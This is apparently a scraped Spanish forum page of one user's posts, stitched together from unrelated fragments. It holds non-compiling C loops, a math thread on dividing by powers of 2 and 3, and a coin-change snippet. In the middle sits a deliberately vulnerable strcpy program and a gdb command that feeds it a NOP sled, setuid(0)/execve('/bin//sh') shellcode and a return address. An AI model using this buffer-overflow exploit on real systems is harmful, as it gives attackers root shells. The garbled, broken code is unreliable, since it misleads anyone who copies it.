Si al parecer hiciste alguna mala instalación de algo, porque ese código debería andar perfecto.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
void bebida(int)
void monedas(int)
void cambio(int)
for(20=0;20<=bebida;20++)
{
for(50=0;50<=(bebida-20);50++)
{
for(60=0;60<=(bebida*2);60++)
{
printf("escojer bebida");
}
}
}
}
for(20=0;20<=bebida;20++)
{
for(50=0;50<=(bebida-20);50++)
{
for(60=0;60<=(bebida*2);60++)
{
printf("escojer bebida");
}
}
}
int main (void){
int a = 20;
int i;
if (a == 10 ){
printf ("Prueba.\n");
}
for (i=0; i<a; i++){
for (j=0; j<a; j++){
printf ("Se lee mejor el código, está más prolijo.\n");
if (a){
prinf ("Es verdad.\n");
}
}
}
return 0;
}
#include <stdio.h>
#include <string.h>
int main (int argc, char **argv){
char buffer[500];
strcpy(buffer, argv[1]);
puts (buffer);
return 0;
}
r `perl -e 'print "\x90"x439 . "\x31\xc0\x99\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x89\xc2\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x99\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xff\xff\x64\xcd"x10'`
Cita de: do-while en 6 Diciembre 2016, 17:34 PM
No se si será lo que buscas o no, pero yo lo plantearía de la siguiente forma.
[latex]n_{0} = 2^{r_{0}}3^{s_{0}}n'_{0},\ \ mcd(2^{r_{0}}3^{s_{0}},n'_{0})=1[/latex]
Así que por narices tendrás que dividir r0 veces por 2 y s0 veces por 3 y al menos harás r0+s0 llamadas.
Si n'0=1 ya habrás terminado, sino, repites el proceso anterior con
[latex]n'_{0} - 1 = n_{1} = 2^{r_{1}}3^{s_{1}}n'_{1},\ \ mcd(2^{r_{1}}3^{s_{1}},n'_{1})=1[/latex]
Así hasta encontrar un n'k = 1.
El problema se traduce en encontrar la máxima potencia, r, de dos que divide a un número, la máxima potencia, s, de tres que lo divide, sumar los exponentes (r+s) y a esto sumarle el resultado de volver a aplicar el proceso al termino que queda al dividir el número por 2r3s y restarle uno.
Cita de: MCKSys Argentina en 6 Diciembre 2016, 17:55 PM
No soy un experto en el tema, pero tomando tu ejemplo:
Y si tenemos en cuenta las "reglas" que pones:
Ese si no se cumplen las anteriores haría que tu ejemplo sea inválido. Como 10 es múltiplo de 2, entonces lo que propones como óptimo estaría mal y la 1era solución sería correcta.
Pero, bueh, como dije, no soy experto en el tema y quizás no entendí bien el problema.
Saludos!
int M[3] = {1, 4, 6}; // tipos de moneda diferentes
int A[100001];
A[0] = 0;
for (int C = 1; C <= 100000; ++C) {
A[C] = 1000000000; // número grande para empezar
for (int i = 0; i < 3; ++i)
if (M[i] <= C && 1 + A[C-M[i]] < A[C])
A[C] = 1 + A[C-M[i]];
}